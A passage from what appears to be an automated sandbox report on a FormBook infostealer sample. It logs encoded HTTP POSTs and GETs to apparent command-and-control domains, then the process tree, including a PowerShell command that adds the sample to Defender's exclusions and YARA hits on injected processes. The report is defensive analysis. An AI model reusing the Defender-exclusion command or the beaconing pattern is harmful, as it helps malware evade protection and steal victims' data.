Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50036	67.223.117.169	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:21:00.708987951 CEST	772	OUT	POST /3x2e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.rtpsilva4d.click Origin: http://www.rtpsilva4d.click Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.rtpsilva4d.click/3x2e/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 47 7a 70 79 35 6d 55 44 30 4e 4d 2b 6c 41 6e 43 53 57 73 68 6c 64 73 34 50 46 58 32 76 4d 43 6a 6c 62 2b 37 33 70 35 6f 66 65 63 53 48 69 30 30 55 6d 64 55 53 4f 4e 41 49 35 69 65 74 4e 4a 7a 75 66 31 30 54 6a 31 4c 57 73 2f 7a 7a 37 74 43 70 6f 6f 77 43 59 6a 2b 49 42 70 63 6d 4a 6c 69 78 2f 62 72 4c 78 6f 53 58 4b 43 33 67 57 75 6a 61 39 2f 4f 4d 6a 6b 6a 69 4f 7a 30 35 55 6d 56 39 49 31 31 57 42 2f 43 52 62 58 6e 59 37 6d 56 44 78 76 66 6f 70 55 63 47 73 51 37 67 65 71 65 63 48 4f 66 76 77 64 54 70 43 6f 57 43 45 4e 72 74 38 67 34 51 38 48 67 4e 2f 6f 55 79 66 78 61 7a 79 76 74 38 31 33 4f 5a 51 31 39 46 35 71 70 42 6f 72 64 69 34 50 76 6f 67 62 75 Data Ascii: 7Bohe=Gzpy5mUD0NM+lAnCSWshlds4PFX2vMCjlb+73p5ofecSHi00UmdUSONAI5ietNJzuf10Tj1LWs/zz7tCpoowCYj+IBpcmJlix/brLxoSXKC3gWuja9/OMjkjiOz05UmV9I11WB/CRbXnY7mVDxvfopUcGsQ7geqecHOfvwdTpCoWCENrt8g4Q8HgN/oUyfxazyvt813OZQ19F5qpBordi4Pvogbu
Oct 24, 2024 15:21:01.359957933 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:21:01 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50037	67.223.117.169	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:21:03.269017935 CEST	1789	OUT	POST /3x2e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.rtpsilva4d.click Origin: http://www.rtpsilva4d.click Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.rtpsilva4d.click/3x2e/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 47 7a 70 79 35 6d 55 44 30 4e 4d 2b 6c 41 6e 43 53 57 73 68 6c 64 73 34 50 46 58 32 76 4d 43 6a 6c 62 2b 37 33 70 35 6f 66 65 6b 53 48 51 38 30 47 33 64 55 52 4f 4e 41 57 4a 69 62 74 4e 4a 79 75 66 74 34 54 6a 35 39 57 70 37 7a 31 5a 56 43 68 37 77 77 4c 59 6a 2b 56 52 70 5a 34 35 6c 7a 78 2f 4c 6e 4c 79 51 53 58 4b 43 33 67 55 47 6a 4d 5a 4c 4f 4f 6a 6b 67 6c 4f 7a 47 39 55 6d 74 39 4a 52 6c 57 41 4c 53 51 72 33 6e 5a 62 32 56 4d 69 48 66 6e 70 55 65 48 73 51 64 67 65 6d 42 63 48 53 35 76 77 42 74 70 43 51 57 44 51 41 6e 34 73 38 39 49 64 48 6a 4d 64 6f 4b 6e 37 78 42 79 55 54 64 35 30 6a 65 56 6a 63 57 49 4f 57 2b 50 4c 47 45 77 4a 7a 42 70 6d 71 51 77 51 66 6a 63 58 66 47 51 55 69 69 64 30 76 55 42 69 57 75 53 57 32 49 6e 73 51 7a 59 57 33 51 6d 50 73 41 6c 58 30 6a 49 2b 72 64 4d 4d 46 4d 36 4e 34 58 74 5a 5a 36 45 71 5a 2f 66 73 61 2b 2b 4d 62 69 43 44 34 4c 4d 73 45 6c 48 59 46 61 2b 74 31 5a 31 77 57 69 2f 4d 75 72 48 68 52 2f 45 47 38 51 6d 43 4e 5a 30 52 71 71 64 6a 4e 68 [TRUNCATED] Data Ascii: 7Bohe=Gzpy5mUD0NM+lAnCSWshlds4PFX2vMCjlb+73p5ofekSHQ80G3dURONAWJibtNJyuft4Tj59Wp7z1ZVCh7wwLYj+VRpZ45lzx/LnLyQSXKC3gUGjMZLOOjkglOzG9Umt9JRlWALSQr3nZb2VMiHfnpUeHsQdgemBcHS5vwBtpCQWDQAn4s89IdHjMdoKn7xByUTd50jeVjcWIOW+PLGEwJzBpmqQwQfjcXfGQUiid0vUBiWuSW2InsQzYW3QmPsAlX0jI+rdMMFM6N4XtZZ6EqZ/fsa++MbiCD4LMsElHYFa+t1Z1wWi/MurHhR/EG8QmCNZ0RqqdjNhgFaPgUTLsefCaVmVpBcds0kW9PO6PR9/EquD/LqxgKYos5AGbwnQE6pz7056upZxD0NNhYU2Wlv1xtznNV55dpl/FHhIIemJeY1HYW1RBjQYSOerhQG481tRAc9TQxw81oyGLACpffxhP4cEuoLZzpjkBx9SPpl+lL1N7KdI18e260vjThZxqbAlWQNPXX7xEynymlEL3OoEGC7AuSZoJtqIYlW9DqvogafD1ofC7sET21sWqmrwMyytBJG8jToanxg7+jnHlOE16FviaGnR2iEJTjMFyrcH4D3fvtwo5lcBH9OyFlokin5YKLPnXbbhX5Q7q0ejEXecDf/iLEzqCdsyWrkzLclKX4m/hp1lcVU7ZnGAcNTzpEbFrFmYBOgiLncddh1vSLiqGw8P8R9rAMeTbnrK/MvCTMI+ZkYx92i/fAD3bUn0XthEFPFFIRiUPZzXU/9DI4h3W7D/uzK2X9GGgnh4iKMYCmAM8EGUh3SQsvbomfhCxndacn760zb8OX1cT26l87tc3xioIyCmGMVIhCGWTscAEHr+h+zPiUG7wB0KrCJtPe7SNFP/ELMgYn/nWLQlwdTNmXNtKLCYveaf4KFrOQurMLYkTIDFpMIXkqDoA1NS46QhRceu1+tCucMOSNlxJw4vr33i1gYlPHTkgrB0eQE15q [TRUNCATED]
Oct 24, 2024 15:21:04.309240103 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:21:04 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50038	67.223.117.169	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:21:05.803985119 CEST	486	OUT	GET /3x2e/?7Bohe=LxBS6Twi9uZYinzDVhZFrrwHDjbbsejF2aCFyI0NTfR3MRAzX3VYMflTVpKBnal2v445F0Z9ZuD89KJE1ZsSKujcQCdh/qxt+vHDLhQvad3slFytU7/EPl4Sr/TZznzmuw==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.rtpsilva4d.click Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:21:06.469444990 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:21:06 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	50039	129.226.56.200	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:21:14.642524004 CEST	482	OUT	GET /28kl/?7Bohe=ZkKAB6qSK6F5HsjBEzwiMizWOSJwTbSi5er0Koahj7mpnIIYqRoLKzbDk71u2k+MO6tmUyIoyOO9F/o0RCIBFZEb81/8BfbGrnNiAiZNS4xvfhhZvRECGHuLoGBIxYjXhw==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.dxfwrc2h.sbs Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:21:15.608798027 CEST	306	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Thu, 24 Oct 2024 13:21:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	50040	162.0.215.33	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:21:21.307502985 CEST	767	OUT	POST /4bpc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.nieuws-july202491.sbs Origin: http://www.nieuws-july202491.sbs Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.nieuws-july202491.sbs/4bpc/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 62 34 30 56 31 37 68 34 48 72 58 79 79 39 6d 78 6a 43 53 35 45 34 4f 66 70 47 75 57 68 57 67 48 45 4b 2f 32 4a 6e 43 58 39 39 4f 36 30 4b 2f 57 35 49 43 57 46 4f 6f 4f 44 6a 68 66 62 58 35 59 62 76 4c 4a 4c 4b 44 6e 32 7a 75 4f 46 54 71 5a 69 69 32 51 61 6d 43 65 38 37 79 50 54 68 76 39 4b 79 6b 6a 78 74 45 69 34 2b 78 46 31 66 64 5a 5a 4e 31 68 78 76 55 61 79 46 50 55 70 69 6e 76 44 2f 59 73 74 45 74 4d 4c 77 58 46 75 4b 64 63 4e 54 54 67 4f 71 4e 68 76 47 74 52 6d 6a 62 73 69 62 31 31 73 4e 57 35 58 57 75 5a 77 72 32 49 39 61 61 48 69 66 58 73 30 51 77 55 57 74 36 55 64 39 6a 39 61 4d 63 3d Data Ascii: 7Bohe=b40V17h4HrXyy9mxjCS5E4OfpGuWhWgHEK/2JnCX99O60K/W5ICWFOoODjhfbX5YbvLJLKDn2zuOFTqZii2QamCe87yPThv9KykjxtEi4+xF1fdZZN1hxvUayFPUpinvD/YstEtMLwXFuKdcNTTgOqNhvGtRmjbsib11sNW5XWuZwr2I9aaHifXs0QwUWt6Ud9j9aMc=
Oct 24, 2024 15:21:21.986254930 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 24 Oct 2024 13:21:21 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 72 e3 48 72 fe 3f 4f 41 cb 61 7b 37 d0 6a 9c 24 01 ad d4 bb b8 48 80 24 40 00 24 48 82 0e c7 04 6e 80 38 89 9b dc f0 03 f9 35 fc 64 2e 50 52 8b 62 4b d3 bd 0e ff 70 cd 44 88 a8 23 2b 8f 2f 33 ab 2b eb b7 df 7e 7b fc 27 6e c9 ae 0d 85 1f 04 55 12 7f fb ed f1 f9 cf 00 b4 c7 c0 35 9d 6f bf 5d 7e 26 6e 65 82 19 55 7e ef 1e eb b0 79 ba 63 b3 b4 72 d3 ea be 3a e5 ee dd c0 7e fe 7a ba ab dc ae 82 7b 12 7f 19 d8 81 59 94 6e f5 54 57 de 3d 79 f7 29 1d d3 0e dc fb 7e 7d 91 c5 57 84 d2 ec de ee 87 3e 5d a8 14 a6 9f 98 ff c8 0a be cb c3 c2 2d af 96 20 ef a8 a7 66 e2 3e dd 35 a1 db e6 59 51 5d 4d 6b 43 a7 0a 9e 1c b7 09 6d f7 fe f2 f1 65 10 a6 61 15 9a f1 7d 69 9b b1 fb 84 7e fd 4e aa 0a ab d8 fd 46 20 c4 40 ce aa c1 24 ab 53 e7 11 7e ee 7c 56 65 59 9d 62 77 d0 eb ed 45 5d 76 59 be f0 d1 ab da ca 9c d3 e0 ef 97 a9 fd 67 df 3c a0 9d 7b cf 4c c2 f8 f4 30 a0 0b b0 ed 97 81 e0 c6 8d 5b 85 b6 f9 65 50 9a 69 79 5f ba 45 e8 fd e5 c7 65 65 78 76 1f 06 28 91 77 ef [TRUNCATED] Data Ascii: 1352ZrHr?OAa{7j$H$@$Hn85d.PRbKpD#+/3+~{'nU5o]~&neU~ycr:~z{YnTW=y)~}W>]- f>5YQ]MkCmea}i~NF @$S~\|VeYbwE]vYg<{L0[ePiy_Eeexv(w0u7%0r8Fz?2/zxwiac8a?n]~gt/@r}8a&gv&NLdU~Y?>@kI 2S/U}.uf5"5,\|=6^C3\qv]]@~>Pl-ricpu]ozfQ8MM.mJ[Oua&H~p0}sehc+,y{KzJ7Ya{}zA<b+k\|C5nql<x] 4Fj5}d_Pc%f/i\|*C7{CrwMZSY_}d\|f68!7~v$\>a} 5w>)$[G+7)z=^Kp-T p@[]cdtj~ S'-:3>"m?Q
Oct 24, 2024 15:21:21.986274958 CEST	1236	IN	Data Raw: 40 09 fc cd 0c 6f fc fc 2d 71 9d d0 1c fc 29 01 81 f4 c5 30 e3 11 99 77 7f be d9 e6 16 b5 37 c3 bd f2 f2 ac bc 64 a8 87 41 e1 c6 20 d6 35 37 0e d8 cf e9 23 16 f0 9f f6 61 10 84 8e e3 a6 6f 2c f5 a3 7d bb ca 4f 17 64 3f fb f5 fb 79 6f ec f7 2b 6e Data Ascii: @o-q)0w7dA 57#ao,}Od?yo+nY0{Q%~p(h=u/"]G}~=q<^z?4GLRb ,d^s"?g^a0oeZero>z9
Oct 24, 2024 15:21:21.986285925 CEST	1236	IN	Data Raw: 17 2e 4b 9c 5a c0 a2 d1 86 cb 4e 13 7c 97 9f db 89 25 89 94 6d 0b 1a eb 74 ba 6b 98 e9 24 57 67 12 a3 73 e2 a4 6b 51 3b 98 85 0c 9d 25 d1 19 ef 08 3c 86 d2 7a 3b 4d b6 41 a4 96 88 39 32 c6 86 b0 71 c7 63 2c 41 ab 7d ac 33 7c 30 17 a9 68 94 d6 0b Data Ascii: .KZN\|%mtk$WgskQ;%<z;MA92qc,A}3\|0hgyeSY q6M5YRul!NilKW\|&o=[ZyS8\.Y1JBe.%?$1"QSN\F^9#/e[opE+b
Oct 24, 2024 15:21:21.986299992 CEST	1236	IN	Data Raw: 68 43 00 a7 56 98 a6 3d 1f 97 71 bd 6e 02 8e d9 30 98 49 88 a7 0e 26 f4 6e 51 74 a4 9f 9d ec 2d a2 f3 fe 92 38 61 0b 5c 80 f4 78 b8 13 61 a2 c9 ec 51 b1 8f 68 9c c9 1b 3c 3d 78 2b 38 0d b4 31 89 82 d0 2c 8f 2a 62 e9 6e 3b b5 ab a3 d4 af 67 e8 8a Data Ascii: hCV=qn0I&nQt-8a\xaQh<=x+81,bn;g$hM#>VN. a!@ Yv:I^:(zc}\|;!4^'K_:+";x3eLh2:3pcP u9.M@fjqHqN[y
Oct 24, 2024 15:21:21.986314058 CEST	294	IN	Data Raw: 23 82 f7 31 cf 4e f7 76 e5 7c 37 80 7f 42 fe 4a a8 eb 4b e6 4f 64 b9 66 ff 53 e8 7e 06 ab 3f bd e0 ea cf 9f 6a e3 22 f0 7b 5b 5e ef f8 3c fc 47 1a 03 ea 7c a7 84 67 55 dd 7d 7b 84 3f 5b f5 08 7f 64 9e 1b 40 7d c0 d7 55 8c 78 65 f1 f1 b9 b6 f7 5e Data Ascii: #1Nv\|7BJKOdfS~?j"{[^<G\|gU}{?[d@}Uxe^Wgt=@fw2}zn_HV'3$O}(NGf%(M}cg&>~/1~0g`u\|~t!w378x^j t4

Target ID:	0
Start time:	09:17:08
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\QUOTE2342534.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTE2342534.exe"
Imagebase:	0x4c0000
File size:	764'928 bytes
MD5 hash:	C19949939D08BAEE86643132D7CE7542
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	09:17:09
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTE2342534.exe"
Imagebase:	0x4f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	09:17:09
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\QUOTE2342534.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTE2342534.exe"
Imagebase:	0xc60000
File size:	764'928 bytes
MD5 hash:	C19949939D08BAEE86643132D7CE7542
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	5
Start time:	09:17:09
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	09:17:12
Start date:	24/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	09:17:12
Start date:	24/10/2024
Path:	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe"
Imagebase:	0x120000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	09:17:14
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\mshta.exe"
Imagebase:	0x470000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	10
Start time:	09:17:26
Start date:	24/10/2024
Path:	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe"
